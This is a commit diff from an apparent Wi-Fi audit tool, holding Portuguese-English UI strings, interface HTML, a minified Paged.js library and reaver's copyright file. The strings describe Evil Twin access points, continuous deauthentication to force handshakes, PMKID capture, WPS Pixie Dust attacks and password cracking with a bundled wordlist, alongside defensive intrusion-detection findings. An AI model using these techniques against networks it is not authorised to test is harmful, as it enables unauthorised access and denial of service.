'this network is not WPA2/WPA3-Enterprise (802.1X) — for a single-password (PSK) network, use the Evil Twin with captive portal',
'hostapd-wpe não está instalado — não vem com o Sabiá (é um patch sobre o build do hostapd, não um binário pequeno); instale pelo repositório do Kali ou compile https://github.com/aircrack-ng/hostapd-wpe':
'hostapd-wpe is not installed — not bundled with Sabiá (it is a patch on the hostapd build, not a small binary); install it from the Kali repository or build https://github.com/aircrack-ng/hostapd-wpe',
'{n} está num modo que o hostapd-wpe não consegue usar':
'{n} is in a mode hostapd-wpe cannot use',
'não foi possível gerar o certificado TLS (openssl) pro hostapd-wpe':
'could not generate the TLS certificate (openssl) for hostapd-wpe',
'hostapd-wpe saiu sozinho ({n}) logo ao subir em {n} — a placa pode não suportar de verdade o canal/banda do AP real. Saída: {n}':
'hostapd-wpe exited on its own ({n}) right after starting on {n} — the adapter may not actually support the real AP\'s channel/band. Output: {n}',
'job de Evil Twin Enterprise não encontrado': 'Enterprise Evil Twin job not found',
'job de Evil Twin não encontrado': 'Evil Twin job not found',
'hostapd saiu sozinho ({n}) logo ao subir em {n} — a placa pode não suportar de verdade o canal/banda do AP real. Saída: {n}':
'hostapd exited on its own ({n}) right after starting on {n} — the adapter may not actually support the real AP\'s channel/band. Output: {n}',
'{n} está num modo que o hostapd não consegue usar': '{n} is in a mode hostapd cannot use',
'{n} handshake(s), {n} quadro(s) em {n}': '{n} handshake(s), {n} frame(s) in {n}',
'Motivo': 'Reason',
'Pacotes': 'Packets',
'Estado': 'State',
'Probes': 'Probes',
'Cliente': 'Client',
'WPS ativo': 'WPS active',
'WPS ativo.': 'WPS active.',
'WPS ativo ({n}).': 'WPS active ({n}).',
'PMF exigido.': 'PMF required.',
'Depois de coletar IVs suficientes:': 'After collecting enough IVs:',
'mensagens {n}': 'messages {n}',
'{n} · mensagens {n}': '{n} · messages {n}',
'senha: {n}': 'password: {n}',
'{n} · quebrável': '{n} · crackable',
'{n} · canal {n}': '{n} · channel {n}',
'{n} ({n})': '{n} ({n})',
// canais, PMKID/PMF, WPS e relatório
'Ocupação dos canais em {n}': 'Channel occupancy on {n}',
'Sem dados de canal ainda': 'No channel data yet',
'Inicie a captura para o Sabiá medir ocupação e sugerir canais.':
'Start capturing so Sabiá can measure occupancy and suggest channels.',
'{n} APs · {n} canais ocupados': '{n} APs · {n} busy channels',
'{n} AP(s) · recomendado': '{n} AP(s) · recommended',
'· recomendado': '· recommended',
'aberta/WEP': 'open/WEP',
'{n} rede(s) WPA3 analisada(s) — detalhes na aba do alvo e no relatório.':
'{n} WPA3 network(s) analyzed — details in the target tab and report.',
'Restrito a 1, 6 e 11 para evitar sobreposição.':
'Limited to 1, 6 and 11 to avoid overlap.',
'Menor pontuação de interferência entre os canais observados.':
'Lowest interference score among observed channels.',
'Melhor canal': 'Best channel',
'Espectro e canais': 'Spectrum and channels',
// saúde do espectro (canais, estilo SMART)
'Boa': 'Good',
'Atenção': 'Attention',
'Saturado': 'Saturated',
'Boa condição': 'Good condition',
'Sem canal livre nessa banda': 'No free channel on this band',
'Até o melhor canal está saturado': 'Even the best channel is saturated',
'Recomendado é DFS — pode cair com radar por perto': 'The recommended channel is DFS — it can drop off if radar is detected nearby',
'Espectro congestionado': 'Congested spectrum',
'Canal recomendado': 'Recommended channel',
'Canais ocupados': 'Busy channels',
'APs na banda': 'APs on this band',
'Pior canal': 'Worst channel',
'Canais DFS': 'DFS channels',
'Nessa banda, prefira sempre 1, 6 ou 11 — canais no meio sobrepõem vizinhos.':
'On this band, always prefer 1, 6 or 11 — channels in between overlap neighbors.',
'Canais DFS liberam mais espaço, mas o rádio é obrigado a sair do ar se detectar radar — tenha um canal não-DFS de reserva.':
'DFS channels free up more room, but the radio must go off the air if it detects radar — keep a non-DFS channel as backup.',
'Considere mudar o AP para o canal recomendado ou mover pra outra banda.':
'Consider moving the AP to the recommended channel or to another band.',
'Canais detalhados ({n})': 'Detailed channels ({n})',
'Pontuação': 'Score',
'APs': 'APs',
'{n} AP(s)': '{n} AP(s)',
'Recomendado': 'Recommended',
'Ainda sem eventos além do primeiro avistamento.':
'No events beyond the first sighting yet.',
'{n} amostra(s) de sinal. Eventos mais recentes primeiro.':
'{n} signal sample(s). Most recent events first.',
'nenhuma ferramenta instalada': 'no tool installed',
'Senha encontrada: {n}{n}': 'Password found: {n}{n}',
'Sem PIN, o reaver usa Pixie Dust; o bully usa o ataque padrão.':
'Without a PIN, reaver uses Pixie Dust; bully uses its default attack.',
'Instale reaver ou bully para habilitar. Ex.: sudo apt install reaver bully':
'Install reaver or bully to enable. E.g.: sudo apt install reaver bully',
'A saída do reaver/bully aparece aqui.': 'reaver/bully output appears here.',
'Orquestra reaver/bully na interface monitor. O canal do AP é usado automaticamente; o processo pode ser interrompido a qualquer momento.':
'Orchestrates reaver/bully on the monitor interface. The AP channel is used automatically; the process can be stopped at any time.',
'Ferramenta': 'Tool',
'PIN conhecido (opcional)': 'Known PIN (optional)',
'Exportar .hc22000': 'Export .hc22000',
'Todos .hc22000': 'Export all .hc22000',
'Iniciar WPS': 'Start WPS',
'Parar job': 'Stop job',
'8 dígitos': '8 digits',
'nenhum cliente visto': 'no client seen',
'Direção': 'Direction',
'AP → cliente': 'AP → client',
'cliente → AP': 'client → AP',
'Dispara deauth nas duas direções e observa se a estação reassocia. Resultado prático, não prova criptográfica.':
'Sends deauth in both directions and watches whether the station reassociates. Practical result, not cryptographic proof.',
'Estação': 'Station',
'Forja um MAC local e envia association request com PMKID para tentar a mensagem 1. Muitos APs só expõem PMKID em roaming real.':
'Forge a local MAC and send an association request with PMKID to try for message 1. Many APs only expose PMKID during real roaming.',
'Caçar PMKID': 'Hunt PMKID',
'Do cliente para o AP (exige estação selecionada).':
'From client to AP (requires a selected station).',
'Nas duas direções (exige estação selecionada).':
'In both directions (requires a selected station).',
'{n} quadro(s) {n} em {n} para {n} (motivo {n}).':
'{n} {n} frame(s) in {n} to {n} (reason {n}).',
'Aguardando saída do reaver/bully…': 'Waiting for reaver/bully output…',
'Enviando associação com PMKID…': 'Sending association with PMKID…',
'{n} quadro(s) enviados; PMKID não apareceu. {n}':
'{n} frame(s) sent; PMKID did not appear. {n}',
'Nenhuma estação disponível.': 'No station available.',
'Testando por ~4 s…': 'Testing for ~4 s…',
'PMKID capturado: {n}': 'PMKID captured: {n}',
'PMF não obrigatório': 'PMF not required',
'PMF não obrigatório · {n}': 'PMF not required · {n}',
'Inconclusivo · {n}': 'Inconclusive · {n}',
'Instale reaver ou bully.': 'Install reaver or bully.',
'Canal do AP desconhecido.': 'Unknown AP channel.',
'Montando o relatório…': 'Building the report…',
'não foi possível gerar o relatório': 'could not generate the report',
'Pré-visualização A4 · {n} página(s).': 'A4 preview · {n} page(s).',
'Pré-visualização A4.': 'A4 preview.',
'Paginando o relatório…': 'Paginating the report…',
'Não foi possível abrir a impressão; baixe o HTML e abra no navegador.':
'Could not open printing; download the HTML and open it in the browser.',
'não foi possível gerar o HTML': 'could not generate the HTML',
'Relatório': 'Report',
'Relatório de auditoria': 'Audit report',
'Imprimir / PDF': 'Print / PDF',
'Baixar HTML': 'Download HTML',
'Pré-visualização paginada em A4.': 'Paginated A4 preview.',
'Visualização': 'View',
'Relatório paginado': 'Paginated report',
'handshake sem SSID, PMKID ou mensagem 2 para exportar':
'handshake without SSID, PMKID or message 2 to export',
'nenhum handshake com material para .hc22000':
'no handshake with material for .hc22000',
'direção inválida: use ap, sta ou both': 'invalid direction: use ap, sta or both',
'máscara grande demais pra calcular o total': 'mask too large to calculate the total',
'máscara tem {n} combinações, acima do limite de {n} — restrinja a máscara (ex.: menos posições ?a/?l) antes de rodar':
'mask has {n} combinations, above the limit of {n} — narrow the mask (e.g. fewer ?a/?l positions) before running',
'quadro inválido: use deauth ou disassoc': 'invalid frame: use deauth or disassoc',
'direção sta/both exige a estação alvo': 'sta/both direction requires the target station',
'inicie a captura nesta interface antes do teste PMKID':
'start capturing on this interface before the PMKID test',
'BSSID ainda não visto nesta captura': 'BSSID not seen in this capture yet',
'SSID oculto: impossível montar o association request':
'hidden SSID: cannot build the association request',
'PMKID observado; exporte em .hc22000 e quebre com hashcat ou pelo Sabiá.':
'PMKID observed; export to .hc22000 and crack with hashcat or Sabiá.',
'Nenhum PMKID apareceu. O AP pode não usar cache de PMKID ou só responder a roaming real; tente também desautenticar um cliente associado.':
'No PMKID appeared. The AP may not cache PMKID or may only answer real roaming; also try deauthenticating an associated client.',
'PIN WPS deve ter 8 dígitos': 'WPS PIN must have 8 digits',
'a ferramenta terminou sem informar PSK': 'the tool finished without reporting a PSK',
'job WPS não encontrado': 'WPS job not found',
'Auditoria Wi-Fi · {n}': 'Wi-Fi audit · {n}',
'{n} está em modo managed; ative o modo monitor antes do teste PMKID':
'{n} is in managed mode; enable monitor mode before the PMKID test',
'{n} não encontrado no PATH; instale reaver ou bully':
'{n} not found in PATH; install reaver or bully',
'{n} está em modo managed; ative o modo monitor antes do ataque WPS':
'{n} is in managed mode; enable monitor mode before the WPS attack',
'não foi possível executar {n}: {n}': 'could not run {n}: {n}',
'{n} terminou com código {n}': '{n} exited with code {n}',
// achados do WIDS (analysis.rs)
'SSID “{n}” com seguranças diferentes': 'SSID “{n}” with different security levels',
'O mesmo nome aparece em BSSIDs com níveis de segurança distintos: {n}. Pode ser um evil twin ou um AP mal configurado.':
'The same name appears on BSSIDs with different security levels: {n}. It may be an evil twin or a misconfigured AP.',
'Rajada de desautenticação': 'Deauthentication burst',
'{n} quadros de desautenticação/desassociação no último minuto. Pode ser ataque de desautenticação ou um AP instável.':
'{n} deauthentication/disassociation frames in the last minute. It may be a deauth attack or an unstable AP.',
'Muitos BSSIDs novos': 'Many new BSSIDs',
'{n} BSSIDs apareceram no último minuto — possível beacon flood ou ambiente muito denso.':
'{n} BSSIDs appeared in the last minute — possible beacon flood or a very dense environment.',
'Rede aberta: {n}': 'Open network: {n}',
'Sem cifra no Wi-Fi; o tráfego fica exposto a qualquer estação no alcance.':
'No Wi-Fi encryption; traffic is exposed to any station in range.',
'WEP em {n}': 'WEP on {n}',
'WEP é quebrável em minutos; trate a rede como aberta.':
'WEP can be cracked in minutes; treat the network as open.',
'WPA1 (TKIP) em {n}': 'WPA1 (TKIP) on {n}',
'WPA1/TKIP tem fraquezas conhecidas; migre para WPA2/CCMP ou WPA3.':
'WPA1/TKIP has known weaknesses; migrate to WPA2/CCMP or WPA3.',
'WPS ativo em {n}': 'WPS active on {n}',
'O AP anuncia WPS com configuração travada.': 'The AP advertises WPS with configuration locked.',
'WPS sem lock explícito; PIN pode ser testado com reaver/bully.':
'WPS without an explicit lock; the PIN can be tested with reaver/bully.',
'Sem PMF em {n}': 'No PMF on {n}',
'Desautenticação e desassociação não são protegidas; clientes podem ser expulsos para facilitar a captura de handshake.':
'Deauthentication and disassociation are unprotected; clients can be expelled to make handshake capture easier.',
'PMF inconsistente em {n}': 'Inconsistent PMF on {n}',
'O AP anuncia WPA3, mas não anuncia PMF; verifique a configuração.':
'The AP advertises WPA3 but not PMF; check the configuration.',
'WPA3 com WPS em {n}': 'WPA3 with WPS on {n}',
'WPS não faz parte do WPA3 e abre uma via mais fraca de associação.':
'WPS is not part of WPA3 and opens a weaker association path.',
'primeiro visto': 'first seen',
'associou': 'associated',
'desautenticado': 'deauthenticated',
'A estação voltou a se associar.': 'The station reassociated.',
'O AP pode não usar cache de PMKID.': 'The AP may not cache PMKID.',
'A estação voltou a se associar após a desautenticação: PMF não está obrigatório (ou o cliente não o usa).':
'The station reassociated after deauthentication: PMF is not required (or the client does not use it).',
'A estação continuou trocando quadros depois da desautenticação; o quadro de gerenciamento provavelmente foi aceito.':
'The station kept exchanging frames after deauthentication; the management frame was probably accepted.',
'A estação não voltou a associar na janela observada. PMF pode estar ativo, ou o cliente simplesmente ficou inativo.':
'The station did not reassociate in the observed window. PMF may be active, or the client simply stayed idle.',
'Inconclusivo': 'Inconclusive',
// deauth contínuo e identificação de clientes
'Mantém os quadros saindo em série até você parar (ou até sair o handshake). O canal da captura fica travado no AP durante o job.':
'Keeps frames going until you stop (or a handshake appears). The capture channel stays locked to the AP during the job.',
'Iniciar contínuo': 'Start continuous',
'Parar': 'Stop',
'Rajada ({n})': 'Burst ({n})',
'Pronto. O job contínuo trava a captura no canal do AP e para quando você mandar.':
'Ready. The continuous job locks capture to the AP channel and stops when you say so.',
'Job {n} · {n} quadro(s){n}{n}': 'Job {n} · {n} frame(s){n}{n}',
'Handshake capturado em {n} quadro(s){n}.': 'Handshake captured in {n} frame(s){n}.',
'Job {n} {n} · {n} quadro(s){n}.': 'Job {n} {n} · {n} frame(s){n}.',
'Escolha um cliente para desautenticar nas direções sta/both.':
'Choose a client to deauthenticate in the sta/both directions.',
'Forçando reassociação e handshake…': 'Forcing reassociation and handshake…',
'Desautenticação contínua iniciada.': 'Continuous deauthentication started.',
'Nenhuma ferramenta WPS disponível.': 'No WPS tool available.',
'O reaver embutido usa Pixie Dust sem PIN. O bully aparece se estiver instalado no sistema.':
'The bundled reaver uses Pixie Dust without a PIN. bully appears if it is installed on the system.',
'O reaver embutido não pôde ser extraído nesta execução.':
'The bundled reaver could not be extracted in this run.',
'Dicionário (vazio = embutido, 9,7 milhões de senhas)': 'Wordlist (empty = bundled, 9.7 million passwords)',
'dicionário próprio, opcional': 'custom wordlist, optional',
'Dispositivo': 'Device',
'MAC aleatório': 'Random MAC',
'Cliente {n}': 'Client {n}',
'Linha do tempo · {n}': 'Timeline · {n}',
'nenhuma ferramenta disponível': 'no tool available',
'· canal {n}': '· channel {n}',
'· para sozinho no handshake': '· stops on handshake',
'job de deauth não encontrado': 'deauth job not found',
'já existe um job de desautenticação em execução em {n}':
'a deauthentication job is already running on {n}',
'inicie a captura em {n} antes de iniciar o job':
'start capture on {n} before starting the job',
'a captura em {n} não está ativa': 'capture on {n} is not active',
'{n} não está disponível; o reaver integrado não pôde ser extraído':
'{n} is not available; the bundled reaver could not be extracted',
};
+98 -9
View File
@@ -18,18 +18,40 @@
</div>
</div>
<div class="side-title">Interfaces</div>
<ul class="list" id="ifaceList" data-empty="nenhuma interface Wi-Fi encontrada"></ul>
<div class="side-title">Interface</div>
<div class="iface-pick">
<select id="ifaceSelect" class="select" aria-label="Interface Wi-Fi" data-empty="nenhuma interface Wi-Fi encontrada"></select>
<span id="modePill" class="pill"><span class="dot"></span><span id="modeLabel">—</span></span>
</div>
<div class="side-title">Visualização</div>
<ul class="list" id="viewNav" role="group" aria-label="Visualização">
<li><button type="button" class="dev" data-view="nets" aria-pressed="true">
<span class="ico"><svg viewBox="0 0 24 24" width="17" height="17" fill="none" stroke="currentColor" stroke-width="2.2" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12.55a11 11 0 0 1 14.08 0"/><path d="M1.42 9a16 16 0 0 1 21.16 0"/><path d="M8.53 16.11a6 6 0 0 1 6.95 0"/><circle cx="12" cy="20" r="1"/></svg></span>
<span><span class="t">Redes</span><span class="s">APs, clientes e ataques</span></span>
</button></li>
<li><button type="button" class="dev" data-view="channels" aria-pressed="false">
<span class="ico"><svg viewBox="0 0 24 24" width="17" height="17" fill="none" stroke="currentColor" stroke-width="2.2" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="19" x2="5" y2="10"/><line x1="12" y1="19" x2="12" y2="5"/><line x1="19" y1="19" x2="19" y2="13"/></svg></span>
<span><span class="t">Canais</span><span class="s">espectro e saúde</span></span>
</button></li>
</ul>
<div class="side-foot">
<div class="foot-row">
<button id="settingsBtn" class="icon-btn" type="button" title="Configurações" aria-label="Configurações">
<svg viewBox="0 0 24 24" width="17" height="17" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="3"/><path d="M19.4 15a1.7 1.7 0 0 0 .3 1.8l.1.1a2 2 0 1 1-2.8 2.8l-.1-.1a1.7 1.7 0 0 0-1.8-.3 1.7 1.7 0 0 0-1 1.5V21a2 2 0 1 1-4 0v-.1a1.7 1.7 0 0 0-1.1-1.5 1.7 1.7 0 0 0-1.8.3l-.1.1a2 2 0 1 1-2.8-2.8l.1-.1a1.7 1.7 0 0 0 .3-1.8 1.7 1.7 0 0 0-1.5-1H3a2 2 0 1 1 0-4h.1a1.7 1.7 0 0 0 1.5-1.1 1.7 1.7 0 0 0-.3-1.8l-.1-.1a2 2 0 1 1 2.8-2.8l.1.1a1.7 1.7 0 0 0 1.8.3H9a1.7 1.7 0 0 0 1-1.5V3a2 2 0 1 1 4 0v.1a1.7 1.7 0 0 0 1 1.5 1.7 1.7 0 0 0 1.8-.3l.1-.1a2 2 0 1 1 2.8 2.8l-.1.1a1.7 1.7 0 0 0-.3 1.8V9a1.7 1.7 0 0 0 1.5 1H21a2 2 0 1 1 0 4h-.1a1.7 1.7 0 0 0-1.5 1z"/></svg>
</button>
<div class="theme-switch" role="group" aria-label="Tema">
<button type="button" data-theme-pick="auto" aria-pressed="true">Auto</button>
<button type="button" data-theme-pick="light" aria-pressed="false">Claro</button>
<button type="button" data-theme-pick="dark" aria-pressed="false">Escuro</button>
</div>
</div>
<div class="foot-row">
<span id="verInfo" class="mono">—</span>
<select id="langSel" class="lang-sel" aria-label="Idioma" title="Idioma">
<option value="auto">Auto</option>
<option value="pt">Português</option>
<option value="en">English</option>
</select>
<button id="btnUpdate" type="button">checar atualização</button>
</div>
</div>
</aside>
<main class="main">
@@ -39,7 +61,9 @@
<h1>Painel de captura</h1>
<div class="sub" id="ifaceSub">selecione uma interface</div>
</div>
<span id="modePill" class="pill"><span class="dot"></span><span id="modeLabel">—</span></span>
<div class="top-actions">
<button id="btnReport" class="btn" type="button" disabled>Relatório</button>
</div>
</div>
<svg class="wave" id="wave" viewBox="0 0 600 34" preserveAspectRatio="none">
@@ -68,14 +92,79 @@
</div>
<div class="result-head">
<strong>Redes vistas</strong>
<div class="result-summary">
<strong id="resultTitle">Redes vistas</strong>
<span id="count">0</span>
</div>
<div class="result-tools">
<input id="searchInput" class="filter" type="search" placeholder="filtrar por SSID ou BSSID" aria-label="Filtrar redes" autocomplete="off" spellcheck="false">
<select id="sortSel" class="select compact" aria-label="Ordenar por">
<option value="signal">Sinal</option>
<option value="security">Segurança</option>
<option value="clients">Clientes</option>
<option value="name">Nome</option>
</select>
</div>
</div>
<div id="resultArea"></div>
</div>
</main>
</div>
<dialog id="targetDlg" class="target-dlg" aria-labelledby="targetTitle">
<div class="target-head">
<div class="target-id">
<h2 id="targetTitle">—</h2>
<div class="target-sub" id="targetSub"></div>
</div>
<button id="targetClose" class="icon-btn" type="button" aria-label="Fechar" title="Fechar">
<svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round"><path d="M6 6l12 12M18 6L6 18"/></svg>
</button>
</div>
<div class="tabs" role="tablist" aria-label="Detalhes do alvo">
<button type="button" role="tab" data-tab="overview" aria-selected="true">Visão geral</button>
<button type="button" role="tab" data-tab="clients" aria-selected="false">Clientes <span class="tab-count" id="tabClientsCount">0</span></button>
<button type="button" role="tab" data-tab="attacks" aria-selected="false">Ataques</button>
</div>
<div class="tab-panel" id="tabPanel"></div>
</dialog>
<dialog id="reportDlg" class="report-dlg" aria-labelledby="reportTitle">
<div class="report-head">
<div>
<h2 id="reportTitle">Relatório de auditoria</h2>
<p class="hint" id="reportStatus">Pré-visualização paginada em A4.</p>
</div>
<div class="report-tools">
<button type="button" class="icon-btn" id="reportZoomOut" title="Diminuir zoom" aria-label="Diminuir zoom">−</button>
<span class="mono" id="reportZoomLabel">100%</span>
<button type="button" class="icon-btn" id="reportZoomIn" title="Aumentar zoom" aria-label="Aumentar zoom">+</button>
<button type="button" class="btn" id="reportPrint">Imprimir / PDF</button>
<button type="button" class="btn" id="reportDownload">Baixar HTML</button>
<button type="button" class="icon-btn" id="reportClose" title="Fechar" aria-label="Fechar">
<svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round"><path d="M6 6l12 12M18 6L6 18"/></svg>
</button>
</div>
</div>
<div class="report-view" id="reportView"><div class="report-canvas" id="reportCanvas"><iframe id="reportFrame" title="Relatório paginado"></iframe></div></div>
</dialog>
<dialog id="settingsDlg" aria-labelledby="settingsTitle">
<form method="dialog">
<h2 id="settingsTitle">Configurações</h2>
<div class="field">
<span class="field-label">Idioma</span>
<select id="langSel" class="select" name="lang" aria-label="Idioma">
<option value="auto">Auto</option>
<option value="pt">Português</option>
<option value="en">English</option>
</select>
</div>
<menu><button class="btn primary" value="close">Fechar</button></menu>
</form>
</dialog>
<script type="module" src="/app.js"></script>
</body>
</html>
+4
View File
@@ -0,0 +1,4 @@
/**
* @license Paged.js v0.4.3 | MIT | https://gitlab.coko.foundation/pagedjs/pagedjs
*/
!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).PagedPolyfill=t()}(this,(function(){"use strict";function e(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var t,n,r={exports:{}},a={exports:{}};var i,o,s,l,d=function(){},p=d(),c=function(e){return e!==p&&null!==e};function u(){return l||(l=1,s=(n?t:(n=1,t=function(){try{return Object.keys("primitive"),!0}catch(e){return!1}}))()?Object.keys:function(){if(o)return i;o=1;var e=c,t=Object.keys;return i=function(n){return t(e(n)?Object(n):n)}}()),s}var m,h,g=c,f=function(e){if(!g(e))throw new TypeError("Cannot use null or undefined");return e};var y,b,S=function(){var e,t=Object.assign;return"function"==typeof t&&(t(e={foo:"raz"},{bar:"dwa"},{trzy:"trzy"}),e.foo+e.bar+e.trzy==="razdwatrzy")}()?Object.assign:function(){if(h)return m;h=1;var e=u(),t=f,n=Math.max;return m=function(r,a){var i,o,s,l=n(arguments.length,2);for(r=Object(t(r)),s=function(e){try{r[e]=a[e]}catch(e){i||(i=e)}},o=1;o<l;++o)e(a=arguments[o]).forEach(s);if(void 0!==i)throw i;return r},m}(),v=c,x=Array.prototype.forEach,k=Object.create,w="razdwatrzy";var C,T="function"==typeof w.contains&&!0===w.contains("dwa")&&!1===w.contains("foo")?String.prototype.contains:function(){if(b)return y;b=1;var e=String.prototype.indexOf;return y=function(t){return e.call(this,t,arguments[1])>-1},y}(),_=S,z=function(e){var t=k(null);return x.call(arguments,(function(e){v(e)&&function(e,t){var n;for(n in e)t[n]=e[n]}(Object(e),t)})),t},O=function(e){return"function"==typeof e},A=T;C=a.exports=function(e,t){var n,r,a,i,o;return arguments.length<2||"string"!=typeof e?(i=t,t=e,e=null):i=arguments[2],null==e?(n=a=!0,r=!1):(n=A.call(e,"c"),r=A.call(e,"e"),a=A.call(e,"w")),o={value:t,configurable:n,enumerable:r,writable:a},i?_(z(i),o):o},C.gs=function(e,t,n){var r,a,i,o;return"string"!=typeof e?(i=n,n=t,t=e,e=null):i=arguments[3],null==t?t=void 0:O(t)?null==n?n=void 0:O(n)||(i=n,n=void 0):(i=t,t=n=void 0),null==e?(r=!0,a=!1):(r=A.call(e,"c"),a=A.call(e,"e")),o={get:t,set:n,configurable:r,enumerable:a},i?_(z(i),o):o};var E=a.exports,j=function(e){if("function"!=typeof e)throw new TypeError(e+" is not a function");return e};!function(e,t){var n,r,a,i,o,s,l,d=E,p=j,c=Function.prototype.apply,u=Function.prototype.call,m=Object.create,h=Object.defineProperty,g=Object.defineProperties,f=Object.prototype.hasOwnProperty,y={configurable:!0,enumerable:!1,writable:!0};n=function(e,t){var n;return p(t),f.call(this,"__ee__")?n=this.__ee__:(n=y.value=m(null),h(this,"__ee__",y),y.value=null),n[e]?"object"==typeof n[e]?n[e].push(t):n[e]=[n[e],t]:n[e]=t,this},r=function(e,t){var r,i;return p(t),i=this,n.call(this,e,r=function(){a.call(i,e,r),c.call(t,this,arguments)}),r.__eeOnceListener__=t,this},a=function(e,t){var n,r,a,i;if(p(t),!f.call(this,"__ee__"))return this;if(!(n=this.__ee__)[e])return this;if("object"==typeof(r=n[e]))for(i=0;a=r[i];++i)a!==t&&a.__eeOnceListener__!==t||(2===r.length?n[e]=r[i?0:1]:r.splice(i,1));else r!==t&&r.__eeOnceListener__!==t||delete n[e];return this},i=function(e){var t,n,r,a,i;if(f.call(this,"__ee__")&&(a=this.__ee__[e]))if("object"==typeof a){for(n=arguments.length,i=new Array(n-1),t=1;t<n;++t)i[t-1]=arguments[t];for(a=a.slice(),t=0;r=a[t];++t)c.call(r,this,i)}else switch(arguments.length){case 1:u.call(a,this);break;case 2:u.call(a,this,arguments[1]);break;case 3:u.call(a,this,arguments[1],arguments[2]);break;default:for(n=arguments.length,i=new Array(n-1),t=1;t<n;++t)i[t-1]=arguments[t];c.call(a,this,i)}},o={on:n,once:r,off:a,emit:i},s={on:d(n),once:d(r),off:d(a),emit:d(i)},l=g({},s),e.exports=t=function(e){return null==e?m(l):g(Object(e),s)},t.methods=o}(r,r.exports);var W=r.exports,L=e(W);class B{constructor(e){this.context=e||this,this.hooks=[]}register(){for(var e=0;e<arguments.length;++e)if("function"==typeof arguments[e])this.hooks.push(arguments[e]);else for(var t=0;t<arguments[e].length;++t)this.hooks.push(arguments[e][t])}trigger(){var e=arguments,t=this.context,n=[];return this.hooks.forEach((function(r){var a=r.apply(t,e);a&&"function"==typeof a.then?n.push(a):n.push(new Promise(((e,t)=>{e(a)})))})),Promise.all(n)}triggerSync(){var e=arguments,t=this.context,n=[];return this.hooks.forEach((function(r){var a=r.apply(t,e);n.push(a)})),n}list(){return this.hooks}clear(){return this.hooks=[]}}function P(e){if(!e)return;let t;if(void 0!==e.getBoundingClientRect)t=e.getBoundingClientRect();else{let n=document.createRange();n.selectNode(e),t=n.getBoundingClientRect()}return t}function q(e){if(!e)return;let t;if(void 0!==e.getClientRects)t=e.getClientRects();else{let n=document.createRange();n.selectNode(e),t=n.getClientRects()}return t}function M(){var e=(new Date).getTime();return"undefined"!=typeof performance&&"function"==typeof performance.now&&(e+=performance.now()),"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replaceLine truncated
+100
View File
@@ -0,0 +1,100 @@
Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
Upstream-Name: reaver-wps-fork-t6x
Source: https://github.com/t6x/reaver-wps-fork-t6x
Files: *
Copyright: 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
License: GPL-2
Files: src/common/*
Copyright: 2002-2010, Jouni Malinen <j@w1.fi>
License: GPL-2
Files: src/crypto/*
Copyright: 2002-2010, Jouni Malinen <j@w1.fi> and contributors
License: GPL-2
Files: src/tls/*
Copyright: 2002-2010, Jouni Malinen <j@w1.fi>
License: GPL-2
Files: src/tls/libtommath.c
Copyright: Tom St Denis
License: public-domain
Files: src/utils/*
Copyright: 2002-2010, Jouni Malinen <j@w1.fi>
License: GPL-2
Files: src/utils/radiotap.h
Copyright: 2003-2004 David Young
License: BSD-3-clause
Files: src/wps/*
Copyright: 2007-2009, Jouni Malinen <j@w1.fi>
License: GPL-2
Files: src/wps/wps_ufd.c
Copyright: 2009, Masashi Honma <honma@ictec.co.jp>
License: GPL-2
Files: src/lwe/*
Copyright: 1997-2007, Jean Tourrilhes <jt@hpl.hp.com>
License: GPL-2
Files: debian/*
Copyright: 2011-2018 Bartosz Fenski <fenio@debian.org>
2023 Leandro Cunha <leandrocunha016@gmail.com>
License: GPL-2
License: GPL-2
This package is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License.
.
This package is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
.
You should have received a copy of the GNU General Public License
along with this package; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
.
On Debian systems, the complete text of the GNU General
Public License can be found in `/usr/share/common-licenses/GPL-2'.
License: BSD-3-clause
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
.
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
.
3. Neither the name of the ORGANIZATION nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
License: public-domain
The files tagged with this license contains the following paragraphs:
.
No copyright is claimed. This code is in the public domain; do with
it what you wish.
.
Written by Karel Zak <kzak@redhat.com>
BIN
View File
Binary file not shown.
+7 -1
View File
@@ -72,6 +72,10 @@ enum Cmd {
bssid: Option<String>,
